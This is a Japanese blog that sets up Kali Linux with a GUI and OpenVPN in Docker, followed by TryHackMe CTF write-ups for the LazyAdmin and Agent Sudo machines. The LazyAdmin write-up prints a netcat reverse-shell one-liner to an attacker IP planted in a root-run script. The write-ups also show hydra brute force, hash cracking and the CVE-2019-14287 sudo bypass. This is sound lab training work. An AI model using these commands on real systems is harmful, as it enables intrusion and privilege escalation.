Dockerコンテナ上のKali LinuxからOpenVPN
Docker for Mac上にKali LinuxのGUI環境を作成する - Trance Shift 8 - Tech
の記事を書いてGUI出来たやったー、さあTryHackMeのCTFやっぞ!と思ったら
ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2)
トンネルI/Fが無く、VPNが張れなかった。
- [TryHackMe]Docker+KaliでOpenVPN(+αでParrot OSに関して)
- Calling OpenConnect VPN client in docker container shows TUNSETIFF failed: Operation not permitted
このあたりを参考にすると、
- Dockerにはデフォルトでネットワーク関連の機能は省略されている
priviledged
を指定してコンテナを動作させるのが楽だけど、ちょっとリスクが高い- そこで、
NET_ADMIN
だけ付与して動作させるのがよさそう
とのこと。以前の記事では Dockerfile
を使ってなかったので、スクリプトに組み込む形にした。
以下にコマンドを変更。
# Host (--cap-add NET_ADMINを追加) docker run -it --rm \ -p "5905:5900" \ -p "8081:8081" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --cap-add NET_ADMIN \ --name kali \ kali-xfce zsh -c 'su - kali'
VPNを張る際に、トンネルI/Fが必要になるので、
# vpn.sh sudo mkdir -p /dev/net && sudo mknod /dev/net/tun c 10 200 sudo openvpn vpn/***.ovpn
Docker for Mac上にKali LinuxのGUI環境を作成する (2023/12更新)
CTFなりRedTeamingなりにとても便利なKali Linux。 Try Hack MeとかHack the Boxとかやるのに環境をちゃんと整えてやりたい。というわけで備忘録的にメモ。
Macとかなら普通にコンソール使えるじゃん?という話ではあるのだが、 ペネトレーションテストとかやるためのツールは何かとOSネイティブで動かすと相性が悪く、 例えばMetasploitとかの一部のソースはマルウェアだ!とその手のウイルスプロテクションに怒られたりする。 なので、1枚仮想化して使うことにしてる。
Kali LinuxのOfficalなDocker Imageは kali-rolling
という最小イメージしかない。
WindowsのWSL2環境なら、Kali Linuxが用意されてるし、 kex
というコマンド一発でGUI環境が準備出来るのだが、Mac上のDocker for Mac環境下だと便利なものがない。ので、構築する必要がある。
- WSL2使ってるならノーチョイスでKeXが良い: https://www.kali.org/docs/wsl/win-kex/
Docker for Windowsの場合はそもそも、WSL2の方が良いと思うので割愛。でも同じ手順で出来ると思う。 ちなみにVirtual Box(6.X)はなんか画面の不具合があるらしくてGUI環境だとすげえ重たくて使うのやめた。
lkaszlachさんのkali-desktopがすごく理想に近いので参考にした。
目標
やりたいことはKeXと同じ。
- Docker環境下のコンテナであること
- ホストとのファイル共有が簡単であること
- 具体的にはカレントディレクトリをボリュームマウントする
Kali Linuxの基本セットアップ
# Image pull docker pull kalilinux/kali-rolling # Launch/detouch docker run -itd --rm kalilinux/kali-rolling => コンテナIDをメモ (CONTAINER_IDとする) # ログイン docker exec -it CONTAINER_ID zsh
# コンテナ内でパッケージのインストール apt update # コア (結構時間かかる) apt install -y zsh apt install -y kali-linux-core kali-defaults kali-tools-web # XとVNC周り apt install -y kali-desktop-xfce x11vnc xvfb novnc dbus-x11
ユーザーも忘れずに作成しておく。
以後は root
ではなく kali
ユーザーで作業する。
kali
ユーザーにしてるのは他の配布イメージと合わせてるのでそうしてる。
# kaliユーザー作成、sudoers登録 adduser kali usermod -G sudo kali
終わったら忘れずに一旦保存。今回は kali-xfce
とした。
# 別名で保存 docker commit CONTAINER_ID kali-xfce # ログイン確認 docker run -it --rm kali-xfce zsh # 元のイメージは削除 docker container stop CONTAINER_ID
イメージは13GBぐらいになった。
XとVNCチェック
とりあえずVNCクライアントで動くようにする
# ユーザーログイン 5900はMacのVNCと衝突するので避けた docker run -p "5905:5900" -it --rm kali-xfce zsh -c 'su - kali'
# DISPLAY env export DISPLAY=:1 # Xfvb Xvfb :1 -screen 0 1280x720x24 & # Start X & VNC startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen
localhost:5905
にVNCクライアントで接続確認。
問題なければ進む。
ボリュームの永続化
コンテナは終了しちゃうと初期化されちゃうので、少なくともホームディレクトリだけは永続化しておく。
また、ホストとファイルをやりとりしたいので、ホスト側の特定のディレクトリをマウントしておく
今回は host:~/dev
=> container:/mnt/dev
とした。
docker volume create kali-xfce # 起動コマンドを変更 docker run -it --rm \ -p "5905:5900" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --name kali \ kali-xfce zsh -c 'su - kali'
noVNC使えるようにする
ブラウザでGUI環境にアクセス出来るのでとても便利。遅延もないし。 ただ、コピペとか出来ないので、その場合はVNC使う
# TCP8081を追加 docker run -it --rm \ -p "5905:5900" \ -p "8081:8081" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --name kali \ kali-xfce zsh -c 'su - kali'
# DISPLAY env export DISPLAY=:1 # Xfvb Xvfb :1 -screen 0 1280x720x24 & # Start X & VNC startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen & # noVNC /usr/share/novnc/utils/launch.sh --listen 8081 --vnc localhost:5900
上記でnoVNCで使えるはず。 コピペはクリップボード機能経由で。
コマンドまとめ
スクリプトとかにしておくと良い。
# Host docker run -it --rm \ -p "5905:5900" \ -p "8081:8081" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --name kali \ kali-xfce zsh -c 'su - kali'
# Container export DISPLAY=:1 Xvfb :1 -screen 0 1280x720x24 & startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen & /usr/share/novnc/utils/novnc_proxy --listen 8081 --vnc localhost:5900
2023/12更新
- 最新のDocker Desktopに併せてコマンド体系を一部変更
- zshインストール手順を追加
- novncコマンドの変更 (最新のkaliではコマンドが変更されていた)
Writeup | TryHackMe - LazyAdmin
続いてLazy Admin。
Easy linux machine to practice your skills
ホントにEasyですぅ...?
Recon
rustscan -a 10.10.209.210 -- -A
- 22: SSH
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
- 80: HTTP
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
80番ポート空いてるので見に行く
ディレクトリ探る
gobuster dir -u http://10.10.209.210/ --wordlist /usr/share/wordlists/dirb/small.txt ... =============================================================== /content (Status: 301) [Size: 316] [--> http://10.10.209.210/content/] Progress: 959 / 960 (99.90%)===============================================================
SweetRice CMSにログイン
Exploit DBで探す
面白そうなのを見つけた。
You can access to all mysql backup and download them from this directory. http://localhost/inc/mysql_backup and can access to website files backup from: http://localhost/SweetRice-transfer.zip
URL叩くだけでmysqlのbackupが見れるらしい。まじか。
バックアップしてあるSQLがあるので、持ってくる。
14 => 'INSERT INTO `%--%_options` VALUES(\'.... 5:\\"admin\\";s:7:\\"manager\\";s: 6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s ...
- id: mananger
- password(hash): 42f749ade7f9e195bf475f37a44cafcb
だと思う。
なんだかよくみるハッシュ。CrackStationによると、MD5で Password123
ログイン画面はわからないけど、たまたまExploit DB眺めてた他の脆弱性のスクリプトに、
- https://www.exploit-db.com/exploits/40716
- Arbitrary File Upload
login = r.post('http://' + host + '/as/?type=signin', data=payload)
と書いてあるので、 /as/
がログイン画面っぽい。
リバースシェルが欲しい
Exploit DBによると
- https://www.exploit-db.com/exploits/40700
- PHP Code Execution
この辺が使えそう。書いてある通り、
よく見たらCSRFでアップロード出来るって書いてあるから最初の手順要らなかったかも。
phpinfo();
を
に変更してリバースシェルを作って、PHP側へアクセス。
┌──(kali㉿kali)-[~] └─$ nc -lvnp 6666 listening on [any] 6666 ... connect to [10.6.0.155] from (UNKNOWN) [10.10.209.210] 53670 Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux 12:45:11 up 1:05, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ $ whoami www-data
User flag
$ ls /home itguy $ ls /home/itguy Desktop Documents Downloads Music Pictures Public Templates Videos backup.pl examples.desktop mysql_login.txt user.txt
=> cat user.txt
Root flag
まずは sudo チェック。
$ sudo -l Matching Defaults entries for www-data on THM-Chal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on THM-Chal: (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
一発。特定のコマンドだけperlが実行出来る。
$ cat /home/itguy/backup.pl #!/usr/bin/perl system("sh", "/etc/copy.sh");
ls -la /home/itguy/backup.pl -rw-r--r-x 1 root root 47 Nov 29 2019 /home/itguy/backup.pl $ ls -la /etc/copy.sh -rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh
なぜかcopy.shは編集出来るようになってる 別のリバースシェル立てておいて、copy.shの中身を
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.0.155 7777 >/tmp/f
として、実行
sudo /usr/bin/perl /home/itguy/backup.pl
# ls /root/ root.txt # whoami root
=> cat /root/root.txt
Writeup | TryHackMe - Agent Sudo
Hack the Boxに挑戦したら力不足を感じたので、TryHackMeのEasyなCTFを進めていく。
2.Enumerate
How many open ports?
rustscan -a 10.10.80.4 --ulimit 5000 ... PORT STATE SERVICE REASON 21/tcp open ftp syn-ack 22/tcp open ssh syn-ack 80/tcp open http syn-ack Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
=> 3
How you redirect yourself to a secret page?
80番ポートが空いてるので、
を開くと、
Use your own codename as user-agent to access the site.
=> user-agent
What is the agent name?
指示に従うと、UAを書き換えれば良い。 HintにUAをCにしろと書いてあるので、
curl -A "C" http://10.10.80.4/ -v < HTTP/1.1 302 Found < Date: Fri, 21 Oct 2022 12:36:32 GMT < Server: Apache/2.4.29 (Ubuntu) < Location: agent_C_attention.php
リダイレクト先にアクセスすると、
curl -A "C" http://10.10.80.4/agent_C_attention.php -v Attention chris, <br><br> Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! <br><br>
=> chris
3.Hash cracking and brute-force
FTP password
先ほどの画面によると、「お前のパスワード弱いよ!」と言ってるので、hydraでBruteForce
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.80.4 ... [DATA] attacking ftp://10.10.80.4:21/ [21][ftp] host: 10.10.80.4 login: chris password: XXXX
Zip file password
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt -rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg -rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
FTP接続して取りあえず全部get
Dear agent J, All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
テキストファイルにこう書いてある。binwalkで調べてみると、
binwalk cutie.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced 869 0x365 Zlib compressed data, best compression 34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt 34820 0x8804 End of Zip archive, footer length: 22
png画像の方はzipファイルっぽいので、先頭のバイトを取り除く
vim -b cutie.png
zipファイルのヘッダーは先頭が 50 4b 03 04
ZIP101 an archive walkthrough
imgur.com
ここから上を削除する バイナリエディタはWindowsに持ってきてStirlingを使ったけど、hexeditorが使えるようになった方がいいかもしれない。vimのバイナリエディタはちょっと使いにくい...
7za e cutie.zip 7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 2700X Eight-Core Processor (800F82),ASM,AES-NI) Scanning the drive for archives: 1 file, 280 bytes (1 KiB) Extracting archive: cutie.zip -- Path = cutie.zip Type = zip Physical Size = 280 Enter password (will not be echoed): ERROR: Wrong password : To_agentR.txt
7zipっぽいので回答しようとするとパスワードを求めらるので、
zip2john cutie.zip > cutie.zip.hash john cutie.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
数秒で割り出せる
steg password
先ほどのzipを解凍すると、中に To_agentR.txt
が入ってる。
中身は、
We need to send the picture to 'QXJlYTUx' as soon as possible!
stegとはsteganographyのことだと思う。 もう片方の画像を見てみる。
steghide info cute-alien.jpg "cute-alien.jpg": format: jpeg capacity: 1.8 KB Try to get information about embedded data ? (y/n) y Enter passphrase: steghide: could not extract any data with that passphrase!
steghideで調べると何か埋まってるが、QXJlYTUx
がパスワードではない。
大文字小文字がある + xが存在してるので、BASE64っぽい。デコードしてみると、
echo QXJlYTUx | base64 --decode
6文字なのでこれ
Who is the other agent (in full name)?
ファイルを取り出してみる
steghide info cute-alien.jpg "cute-alien.jpg": format: jpeg capacity: 1.8 KB Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file "message.txt": size: 181.0 Byte encrypted: rijndael-128, cbc compressed: yes
steghide extract -xf message.txt -sf cute-alien.jpg Enter passphrase: wrote extracted data to "message.txt".
cat message.txt Hi james, Glad you find this message. Your login password is XXXX Don't ask me why the password look cheesy, ask agent R who set this password for you. Your buddy, chris
=> james
SSH password
=> XXXX!
だと思うけど、 XXXX
で通った (回答自体はどっちでも通る?)
4.Capture the user flag
パスワードは !
付きの方が正解
# 別の日に再開したのでIPが変わった ssh james@10.10.180.39 cat user_flag.txt
What is the incident of the photo called?
また画像がおいてあるので持ってきて、
scp james@10.10.180.39:~/Alien_autospy.jpg . james@10.10.180.39's password: Alien_autospy.jpg
特に変な所はなさそうな画像。質問はこの写真ってなんて呼ばれてるの?なので、 Google画像検索に掛ける => ロズウェル事件 なるほど。
Roswell Incident Foxnews
で検索
Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment`
=> Roswell alien autopsy
ちょっとわかりにくかった。英語ムズカシイ
5.Privilege escalation
CVE number for the escalation
とりあえずjamesで入る。
ssh james@10.10.180.39
お約束の sudo -l
したら気になる記述が。
james@agent-sudo:~$ sudo -l Matching Defaults entries for james on agent-sudo: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User james may run the following commands on agent-sudo: (ALL, !root) /bin/bash
(ALL, !root) /bin/bash
ってなんだ?(見たことない)と思って検索したら、
sudo 1.8.27 Security Bypass。
james@agent-sudo:~$ sudo --version Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2
たぶんこれだわ。
=> CVE-2019-14287
What is the root flag?
上のExploit DBの通りやる
james@agent-sudo:~$ sudo -u#-1 /bin/bash root@agent-sudo:~# whoami root
簡単。
root@agent-sudo:~# cd /root/ root@agent-sudo:/root# ls root.txt root@agent-sudo:/root# cat root.txt To Mr.hacker, Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. Your flag is XXXX By, DesKel a.k.a Agent R
(Bonus) Who is Agent R?
=> DesKel